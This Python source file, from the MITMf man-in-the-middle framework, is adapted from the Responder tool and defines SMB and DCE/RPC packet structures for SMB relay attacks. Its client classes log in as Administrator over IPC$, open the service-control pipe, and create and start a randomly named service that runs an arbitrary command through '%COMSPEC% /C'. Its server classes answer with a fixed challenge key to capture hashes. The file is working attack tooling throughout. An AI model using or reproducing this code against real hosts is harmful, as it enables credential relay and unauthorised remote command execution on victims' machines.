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MITMf/libs/responder/RelayPackets.py
byt3bl33d3r 32bd4b64e4 responder integration complete
2014-12-08 13:52:28 +01:00

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# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##################################################################################
#SMB Client Stuff
##################################################################################
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x4e"),
("uid", "\x00\x08"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("Separator1","\x02" ),
("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("Separator2","\x02"),
("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("Separator3","\x02"),
("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("Separator4","\x02"),
("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("Separator5","\x02"),
("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("Separator6","\x02"),
("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionTreeData(Packet):
fields = OrderedDict([
("Wordcount", "\x0d"),
("AndXCommand", "\x75"),
("Reserved", "\x00" ),
("Andxoffset", "\x7c\x00"),
("Maxbuff","\x04\x11"),
("Maxmpx", "\x32\x00"),
("Vcnum","\x00\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("AnsiPassLength","\x18\x00"),
("UnicodePassLength", "\x00\x00"),
("Reserved2","\x00\x00\x00\x00"),
("Capabilities", "\xd4\x00\x00\x00"),
("Bcc","\x3f\x00"),
("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
("Username","Administrator"),
("UsernameTerminator","\x00\x00"),
("Domain","SMB"),
("DomainTerminator","\x00\x00"),
("Nativeos",""),
("NativeosTerminator","\x00\x00"),
("Lanmanager",""),
("LanmanagerTerminator","\x00\x00\x00"),
("Wordcount2","\x04"),
("Andxcmd2","\xff"),
("Reserved3","\x00"),
("Andxoffset2","\x06\x01"),
("Flags","\x08\x00"),
("PasswordLength","\x01\x00"),
("Bcc2","\x19\x00"),
("Passwd","\x00"),
("PrePath","\\\\"),
("Targ", "CSCDSFCS"),
("IPC", "\\IPC$"),
("TerminatorPath","\x00\x00"),
("Service","?????"),
("TerminatorService","\x00"),
])
def calculate(self):
##Convert first
self.fields["Username"] = self.fields["Username"].encode('utf-16be')
self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
##Then calculate
data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
self.fields["Bcc"] = struct.pack("<h",len(data1))
self.fields["Bcc2"] = struct.pack("<h",len(data2))
self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x00\x00\x00\x02"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x07\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x00\x00\x00\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x00"),
("Bcc", "\x08\x00"),
("FileName", "\\svcctl"),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x00\x00"),
("Offset", "\x19\x03\x00\x00"),
("MaxCountLow", "\xed\x01"),
("MinCount", "\xed\x01"),
("Hidden", "\xff\xff\xff\xff"),
("Remaining", "\x00\x00"),
("Bcc", "\x00\x00"),
("Data", ""),
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x06\x40"),
("Offset", "\xea\x03\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x08\x00"),
("Remaining", "\xdc\x02"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x3f\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Data", ""),
])
def calculate(self):
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBDCEData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0b"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
("CTXNumber", "\x01"),
("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x00\x00"),
("CTX0ItemNumber", "\x01\x00"),
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
("CTX0UIDVersion", "\x02\x00"),
("CTX0UIDVersionlo","\x00\x00"),
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
class SMBDCEPacketData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x00"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("AllocHint", "\x38\x00\x00\x00"),
("ContextID", "\x00\x00"),
("Opnum", "\x0f\x00"),
("Data", ""),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
class SMBDCESVCCTLOpenManagerW(Packet):
fields = OrderedDict([
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
("MaxCount", "\x0f\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0f\x00\x00\x00"),
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
("MachineNameNull", "\x00\x00\x00\x00"),
("DbPointer", "\x00\x00\x00\x00"),
("AccessMask", "\x3f\x00\x0f\x00"),
])
def calculate(self):
## Convert to UTF-16LE
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", "AyAGaxwLhCP"),
("MachineNameNull", "\x00\x00"),
("ReferentID", "\x9c\xfa\x9a\xc9"),
("MaxCountRefID", "\x11\x00\x00\x00"),
("OffsetID", "\x00\x00\x00\x00"),
("ActualCountRefID", "\x11\x00\x00\x00"),
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
("DisplayNameIDNull", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
("ServerType", "\x10\x01\x00\x00"),
("ServiceStartType", "\x03\x00\x00\x00"),
("ServiceErrorCtl", "\x00\x00\x00\x00"),
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("BinPathName", "%COMSPEC% /C \""),
("BinCMD", ""),
("BintoEnd", "\""),
("BinPathNameNull", "\x00\x00"),
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def calculate(self):
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", ""),
("MachineNameNull", "\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
])
def calculate(self):
## Calculate first
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
class SMBDCESVCCTLStartService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def ParseAnswerKey(data,host):
key = data[73:81]
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
return key
##################################################################################
#SMB Server Stuff
##################################################################################
#Calculate total SMB packet len.
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
#Set MID SMB Header field.
def midcalc(data):
pack=data[34:36]
return pack
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data):
pack=data[30:32]
return pack
#Set TID SMB Header field.
def tidcalc(data):
pack=data[28:30]
return pack
#SMB Header answer packet.
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("errorcode", "\x00\x00\x00\x00" ),
("flag1", "\x80"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\xff\xfe"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#SMB Negotiate Answer packet.
class SMBNegoAns(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("Dialect", ""),
("Securitymode", "\x03"),
("MaxMpx", "\x32\x00"),
("MaxVc", "\x01\x00"),
("Maxbuffsize", "\x04\x11\x00\x00"),
("Maxrawbuff", "\x00\x00\x01\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\x43\x00\x00"),
("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
("Keylength", "\x08"),
("Bcc", "\x10\x00"),
("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
("Domain", ""),
])
def calculate(self):
##Then calculate.
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
# SMB Session/Tree Answer.
class SMBSessTreeAns(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("Command", "\x75"),
("Reserved", "\x00"),
("AndXoffset", "\x4e\x00"),
("Action", "\x01\x00"),
("Bcc", "\x25\x00"),
("NativeOs", "Windows 5.1"),
("NativeOsNull", "\x00"),
("NativeLan", "Windows 2000 LAN Manager"),
("NativeLanNull", "\x00"),
("WordcountTree", "\x03"),
("AndXCommand", "\xff"),
("Reserved1", "\x00"),
("AndxOffset", "\x00\x00"),
("OptionalSupport", "\x01\x00"),
("Bcc2", "\x08\x00"),
("Service", "A:"),
("ServiceNull", "\x00"),
("FileSystem", "NTFS"),
("FileSystemNull", "\x00"),
])
def calculate(self):
##AndxOffset
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
##BCC 1 and 2
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
class SMBSessEmpty(Packet):
fields = OrderedDict([
("Empty", "\x00\x00\x00"),
])
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